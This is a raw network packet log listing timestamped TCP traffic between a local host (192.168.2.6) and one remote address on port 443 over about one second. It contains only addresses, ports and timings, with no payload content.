Jan 1, 2025 16:54:57.077481985 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.077512980 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.077590942 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.077605963 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.077646971 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.077652931 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.077682972 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.077691078 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.077805996 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.077824116 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.077855110 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.077862024 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.077883959 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.077903032 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.078044891 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078062057 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078105927 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.078114033 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078525066 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078550100 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078588963 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.078597069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078619957 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.078649044 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.078668118 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078696966 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078730106 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.078736067 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078746080 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.078768969 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.078905106 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078922987 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.078993082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.078999996 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.080518961 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.080557108 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.167900085 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.167928934 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168091059 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.168108940 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168306112 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.168397903 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168428898 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168473005 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.168479919 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168524027 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.168524027 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.168535948 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168551922 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168586969 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.168592930 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168617964 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.168643951 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.168802977 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168817043 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.168864012 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.168872118 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169034004 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169054031 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169085979 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.169094086 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169111967 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.169138908 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.169301987 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169317007 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169358969 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.169365883 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169375896 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.169398069 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.169759989 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169776917 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169833899 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.169838905 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169851065 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169869900 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169897079 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.169903994 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.169919014 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.169941902 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.171582937 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.258801937 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.258820057 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.258874893 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.258889914 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.259324074 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.259345055 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.259396076 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.259403944 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.259416103 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.259452105 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.261198044 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.261215925 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.261262894 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.261271000 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.261286974 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.261298895 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.261413097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.261429071 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.261471987 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.261477947 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.261759996 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.261778116 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.261823893 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.261832952 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.261873007 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.261998892 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.262018919 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.262068033 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.262074947 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.262085915 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.262116909 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.262284040 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.262301922 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.262356997 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.262356997 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.262363911 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.262384892 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.262403965 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.262465954 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.262501001 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.262531042 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.262537003 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.262547016 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.264712095 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.265280962 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.349838972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.349863052 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.349958897 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.349968910 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.350234985 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.350255013 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.350305080 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.350312948 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.350343943 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.350368977 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.352220058 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352241039 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352305889 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.352319956 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352334976 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352354050 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352384090 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.352390051 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352417946 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.352442980 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.352632046 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352648973 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352694988 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.352701902 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352782965 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352803946 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352833986 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.352840900 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.352900028 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.352900028 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.353085995 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.353101015 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.353213072 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.353219032 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.353281975 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.353347063 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.353363991 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.353409052 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.353415966 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.353482962 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.353503942 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.440892935 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.440913916 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.441060066 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.441086054 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.441134930 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.441149950 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.441168070 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.441215992 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.441226006 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.441263914 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.443202019 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443218946 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443264008 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.443270922 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443305016 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.443319082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.443419933 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443435907 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443484068 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.443491936 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443530083 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.443690062 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443711996 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443758965 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.443767071 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443805933 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.443960905 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.443996906 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.444026947 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.444032907 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.444056034 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.444076061 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.444191933 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.444211960 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.444252014 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.444257975 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.444288015 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.444295883 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.444380999 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.444396973 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.444434881 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.444442987 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.444468975 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.444480896 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.445067883 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.531948090 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.531970978 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.532099009 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.532134056 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.532179117 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.532183886 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.532192945 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.532211065 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.532253027 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.532262087 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.532280922 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.532305002 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.536447048 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536469936 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536526918 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.536534071 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536577940 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.536659002 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536679983 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536716938 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.536722898 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536747932 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.536748886 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536767006 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.536772013 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536782980 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536839008 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.536854029 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536868095 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536914110 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.536914110 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.536932945 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.536971092 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.537048101 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.537064075 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.537107944 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.537115097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.537154913 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.537220001 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.537261009 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.537272930 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.537287951 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.537308931 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.537323952 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.539232016 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.623298883 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.623326063 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.623393059 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.623426914 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.623439074 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.623473883 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.623651028 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.623667955 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.623704910 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.623713017 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.623730898 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.623749018 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.625447035 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.625463963 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.625531912 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.625540018 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.625567913 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.625758886 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.625785112 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.625823975 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.625829935 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.625853062 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.625868082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.626101017 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.626135111 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.626163006 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.626173019 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.626197100 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.626215935 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.626590014 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.626615047 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.626669884 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.626676083 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.626688957 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.626710892 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.626812935 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.626852036 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.626880884 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.626888990 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.626898050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.626943111 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.627217054 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.627238035 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.627281904 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.627288103 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.627327919 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.627327919 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.627412081 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.714659929 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.714701891 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.714744091 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.714756966 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.714790106 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.714812040 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.715179920 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.715199947 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.715251923 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.715260983 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.715298891 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.716347933 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.716367960 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.716413975 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.716420889 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.716458082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.716702938 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.716867924 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.716885090 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.716934919 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.716942072 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.716975927 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.717367887 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.717384100 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.717442036 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.717449903 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.717493057 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.717660904 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.717679977 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.717736006 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.717742920 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.717781067 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.718024015 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.718064070 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:57.718077898 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:57.718090057 CET	443	49997	185.199.109.133	192.168.2.6
